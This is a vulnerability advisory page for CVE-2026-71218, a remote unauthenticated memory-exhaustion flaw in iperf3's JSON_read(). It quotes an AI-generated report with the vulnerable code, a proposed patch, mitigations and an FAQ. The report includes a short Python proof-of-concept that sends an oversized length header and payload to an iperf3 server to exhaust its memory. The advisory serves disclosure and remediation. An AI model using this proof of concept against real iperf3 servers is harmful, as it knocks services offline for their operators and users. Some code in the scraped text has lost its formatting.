CVE-2026-71218: Iperf3: unbounded peer-controlled allocation in iperf3 json_read() allows unauthenticated remote memory exhaustion

Published Apr 26, 2026
·
Updated

A flaw was found in iperf3. A remote unauthenticated attacker can exploit a vulnerability in the JSONread() function, which accepts a peer-controlled message length and allocates memory without an upper bound. This allows the attacker to trigger excessive memory consumption, leading to a Denial of Service (DoS) through memory exhaustion, severe slowdown, or termination of the iperf3 service.

Other sources

AIONLYREPORT package: iperf3-3.17.1-5.el101 ------ Summary: Unbounded JSON message length leads to remote memory-exhaustion DoS in JSONread(): JSONread() accepts a peer-controlled 32-bit control-message length and allocates that size without an upper bound, allowing a remote peer to trigger excessive memory consumption before optional authentication is evaluated. Requirements to exploit: Network reachability to an iperf3 instance running in server mode, plus the ability to send the initial control-channel cookie and a crafted 4-byte big-endian length followed by a large JSON payload. No prior authentication or user interaction is required. Component affected: iperf3-3.17.1-5.el101, control-channel parser in src/iperfapi.c, function JSONread(). Version affected: iperf3-3.17.1-5.el101 when used in server mode with the control port reachable by an attacker Patch available: no released package fix established; proposed patch included below Version fixed: unknown Upstream coordination: Not notified. CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L - 5.3 (MEDIUM) AV:N - The flaw is reachable by sending a crafted control-channel message over the network to an iperf3 server. AC:L - Exploitation only requires establishing a control connection and sending a large framed JSON message. PR:N - The allocation occurs before optional authentication is processed. UI:N - No user interaction is required. S:U - The impact is confined to the vulnerable iperf3 service. C:N - No confidentiality impact is established. I:N - No integrity impact is established. A:L - The issue can cause significant memory pressure, severe slowdown, or process termination, but the demonstrated impact is resource exhaustion whose practical severity depends on runtime memory policy and deployment limits. Impact: Important. This matches Red Hat's Important rating because an unauthenticated remote attacker can cause denial of service against the iperf3 service. It does not appear Critical because the available evidence supports availability impact in the iperf3 process, not arbitrary code execution or broader system compromise. Embargo: no Reason: The issue is limited to availability impact, requires the iperf3 control port to be reachable, and can be mitigated operationally by restricting exposure until a fixed package is available. Acknowledgement: Aisle Research Vulnerability Details: In src/iperfapi.c, JSONread() derives the allocation size directly from a peer-supplied length field and performs the allocation without enforcing a maximum control-message size: c hsize = ntohl(nsize); strsize = hsize + 1; / +1 for trailing NULL / if (strsize) { str = (char ) calloc(sizeof(char), strsize); if (str != NULL) { rc = Nread(fd, str, hsize, Ptcp); if (rc >= 0) { if (rc == hsize) { json = cJSONParse(str); } } } free(str); } A remote peer can reach this on the server path iperfaccept() -> iperfexchangeparameters() -> getparameters() -> JSONread(). Optional authentication, when configured, is evaluated only after getparameters(), so it does not prevent the allocation attempt. The established impact is denial of service through memory pressure, severe slowdown, or process termination depending on available memory and overcommit behavior. Steps to reproduce: 1. Start the server: bash iperf3 -s 2. From a client, send a valid cookie followed by an oversized JSON length and matching payload: bash python3 - <<'PY' import socket, struct HOST="127.0.0.1"; PORT=5201 s=socket.createconnection((HOST,PORT)) cookie=b"A"36+b"\0" # 37 bytes s.sendall(cookie) n=25610241024 # 256 MiB (adjust up/down as needed) s.sendall(struct.pack("!I", n)) s.sendall(b"{" + b" "(n-2) + b"}") # syntactically valid large JSON input("sent; press enter to close") PY 3. Observe server memory usage with top, ps, or container memory metrics. Expected result: JSONread() attempts the large allocation before auth checks; the effect can range from severe slowdown to OOM termination depending on system memory and overcommit settings. Mitigation: Until a fixed package is available, do not expose the iperf3 control port to untrusted networks. Restrict access to trusted clients and, where possible, run the service with process or container memory limits. Authentication alone is not sufficient mitigation because the allocation occurs before auth token processing. Proposed Fix: Reject zero-length and oversized control-channel JSON frames before allocation. diff diff --git a/src/iperfapi.c b/src/iperfapi.c @@ +#define IPERFMAXJSONLEN (1024 1024U) / 1 MiB control-channel cap / @@ static cJSON JSONread(int fd) hsize = ntohl(nsize); + hsize = ntohl(nsize); + if (hsize == 0 || hsize > IPERFMAXJSONLEN) { + printf("WARNING: JSON data length out of bounds: %u\n", hsize); + return NULL; + } / Allocate a buffer to hold the JSON / strsize = hsize + 1; / +1 for trailing NULL /

Optional hardening: reject excessively large string fields copied from parsed JSON objects such as title, extradata, or authtoken to reduce post-parse amplification. ------ This report was generated using AI technology. Always review AI-generated content prior to use

Red Hat

Iperf3: unbounded peer-controlled allocation in iperf3 jsonread() allows unauthenticated remote memory exhaustion

Microsoft

Affected Software

2 affected componentsFixes available
iperf3=3.17.1-5.el10_1
Microsoft azl3 iperf3 3.17.1-4<3.17.1-5
3.17.1-5

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 3.17.1-5
  2. Compensating control

    Do not expose the iperf3 server control port to untrusted networks; restrict access to trusted clients only until a fixed package is available.

  3. Compensating control

    Run iperf3 with process or container memory limits to mitigate OOM/denial-of-service impact from the unbounded peer-controlled JSON length allocation.

Event History

Apr 26, 2026
Data Sourced
via Red Hat·08:38 PM
DescriptionSeverityAffected Software
Aug 11, 2026
CVE Published
via MITRE·08:51 AM
Data Sourced
via MITRE·08:51 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:17 AM
DescriptionSeverityWeakness
Aug 15, 2026
Data Sourced
via Microsoft·02:01 AM
DescriptionSeverityWeakness
Data Sourced
via Microsoft·02:01 AM
Affected Software
Updated
via Microsoft·02:01 AM
DescriptionSeverity

Frequently Asked Questions

1

What is the severity of CVE-2026-71218?

CVE-2026-71218 has a medium severity rating of 5.3.

2

How can I fix CVE-2026-71218?

To fix CVE-2026-71218, you should update to the latest version of iperf3 that addresses this vulnerability.

3

What type of attack can be executed using CVE-2026-71218?

CVE-2026-71218 allows an unauthenticated remote attacker to conduct a Denial of Service attack through memory exhaustion.

4

Which function in iperf3 is affected by CVE-2026-71218?

The function affected by CVE-2026-71218 is `JSON_read()`.

5

What are the potential impacts of CVE-2026-71218?

The potential impact of CVE-2026-71218 includes excessive memory consumption and service outages for applications using iperf3.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203